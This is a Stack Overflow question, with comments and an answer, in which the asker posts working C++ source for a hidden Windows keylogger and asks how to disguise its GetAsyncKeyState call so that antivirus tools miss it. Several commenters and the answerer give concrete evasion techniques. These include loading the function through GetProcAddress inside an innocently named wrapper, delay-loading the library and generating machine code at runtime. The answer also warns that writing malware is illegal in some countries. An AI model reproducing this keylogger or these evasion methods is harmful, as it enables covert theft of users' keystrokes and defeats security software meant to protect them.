-2

I'm working on making my own source code obfuscator and I noticed that a simple keylogger is detected by some antivirus engines if there is a function call like this in the source code. "GetASyncKeyState". Take an example of this source code which is a simple keylogger main function.

int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

return 0;
}

I want to obfuscate the function call of "GetAsyncKeyState" name so that no AV can detect it as a keylogger. I'm confused in the implementation of function call using ordinals and GetProcAddress. Like I have tried in the below code.

typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to the DLL module.

hinstLib = LoadLibrary(TEXT("user32.dll"));

// If the handle is valid, try to get the function address.

if (hinstLib != NULL)
{
    ProcAdd = (MYPROC)GetProcAddress(hinstLib, "GetAsyncKeyState");

    // If the function address is valid, call the function.

    if (NULL != ProcAdd)
    {
        fRunTimeLinkSuccess = TRUE;
        (ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");
        printf("Yahooo Function Called");

    }
    // Free the DLL module.

    fFreeResult = FreeLibrary(hinstLib);
}

// If unable to call the DLL function, use an alternative.
if (!fRunTimeLinkSuccess)
    printf("Message printed from executable\n Not Worked Soory");
getch();
return 0; }

This implementation is not understandable. Kindly explain this also.

I just needed the equivalent of "GetAsyncKeyState(Key)" so that my obfuscator will detect that function call and replace it with the equivalent call (Dynamically) so that I can bypass static analysis detection.

James Z
  • 12,209
  • 10
  • 24
  • 44
  • If you want to call `GetAsyncKeyState()`, you have to call `GetAsyncKeyState()`. There's no way to obfuscate that act. You can perhaps do the call indirectly, but you still have to do it. – Andrew Henle Mar 23 '21 at 21:42
  • 3
    What about calling functions using ordinals numbers? or by GetProcAddress etc? – Abdul Hannan Mar 23 '21 at 21:42
  • Maybe. That depends on the specifics of the implementation. Remember, you're not the first person who will have tried this. – Andrew Henle Mar 23 '21 at 21:44
  • Have you searched for `GetProcAddress` examples and at least tried something? "I'm confused" doesn't really tell us what specific difficulty you have. – kaylum Mar 23 '21 at 21:45
  • 3
    1) AVs are well aware of `GetProcAddress`, and other tricks way deeper than that. 2) There are *many* legitimate uses of `GetAsyncKeyState` all over the place, so that call alone won't trigger any alarm. – dxiv Mar 23 '21 at 21:45
  • @kaylum I have updated the code. Kindly see – Abdul Hannan Mar 23 '21 at 21:56
  • 1
    *This implementation is not understandable.*. What does that mean? Do you mean you wrote the code but don't understand what you wrote? If it has a problem then please be specific and describe what that problem is. – kaylum Mar 23 '21 at 21:58
  • @kaylum yes I just copied the code from google and make some changes in it and tried to run that but I don't understand how it is calling GetASyncKeyState function and is it actually working or not? – Abdul Hannan Mar 23 '21 at 22:00
  • Firstly that attempts to call the function: `(ProcAdd)(L"Message sent to the DLL function\n Loaded Wao");` You need to change the parameter from the example string to the KEY parameter needed for `GetAsyncKeyState`. Then to test it you would put that code into a wrapper function, e.g. `MyTotallyInnocentFunction`, and then call that in the paces where you originally call `GetAsyncKeyState`. And then you should be able to test whether it works or not based on whether the return values from your wrapper function are the same as expected from directly calling `GetAsyncKeyState`. – kaylum Mar 23 '21 at 22:05
  • Now I got it Thankyou. – Abdul Hannan Mar 23 '21 at 22:06
  • But does it effect on the assembly side? I mean does the disassembled code looks like this "CALL GetAsyncKeyState" or it will be different? – Abdul Hannan Mar 23 '21 at 22:07
  • Your toolchain does this transformation automatically when you pass `/DELAYLOAD`. But it won't fool any competent antivirus's dynamic analysis (it may prevent static detection). – Ben Voigt Mar 23 '21 at 22:10
  • @BenVoigt Right now I'm interested in only Static detection bypassing. Thanks for the information. So this method will work for me. – Abdul Hannan Mar 23 '21 at 22:13
  • Then you should update your question to make it clear you are trying to defeat static analysis. "*no AV can detect it*" implies runtime detection. – kaylum Mar 23 '21 at 22:14

1 Answers1

5

I'm working on making my own source code obfuscator

Some of them can be bought. And a practical approach is to improve some existing open source compiler (like GCC or Clang) to add obfuscation inside it. With GCC, you could write a GCC plugin for that (e.g. with the help of the Bismon static analyzer). Be aware of licensing issues (your GCC plugin may need to be open source; ask your lawyer).

A possible approach is metaprogramming (see also RefPerSys). You could write (using e.g. asmjit, or libgccjit) some C++ code which generates machine code at runtime.

Instead of calling GetAsyncKeyState your code could :

  • at initialization (or periodically from time to time) get the address of GetAsyncKeyState and put that in some variable (some function pointer)

  • generate machine code which calls that GetAsyncKeyState in some new function foo

  • call foo

Please check with your lawyer that want you want to code is legal in your country. In France, writing malicious software is a criminal offense.

Be also aware of Rice's theorem.

so that I can bypass static analysis detection ....

This is a naive point of view. And even with obfuscation, an executable can technically be reverse-engineered, by binary analysis tools like BinSec.

BTW, writing a source code obfuscator may be more costly than paying a lawyer to write a good EULA.

An opposite approach is to make your code open source (of course, you need approval from your manager or client). See references in this draft report. Or read (and have your manager read) The Success of Open Source. There are many economical and technical reasons to make some source code opensource: this paper (co-authored by a Nobel prize winner, Jean Tirole) explains them. Read also about what is free software....

consult a lawyer

PS. For questions (in first half of 2021) related to the Bismon source static analyzer (which could evolve into a code ofuscator, if additional funding is provided) or to the BinSec binary static analyzer, contact me by email to basile.starynkevitch@cea.fr

NB. My personal opinion on your technical approach is that it is very naive, and won't protect your proprietary software against serious binary static analysis teams.

Basile Starynkevitch
  • 223,805
  • 18
  • 296
  • 547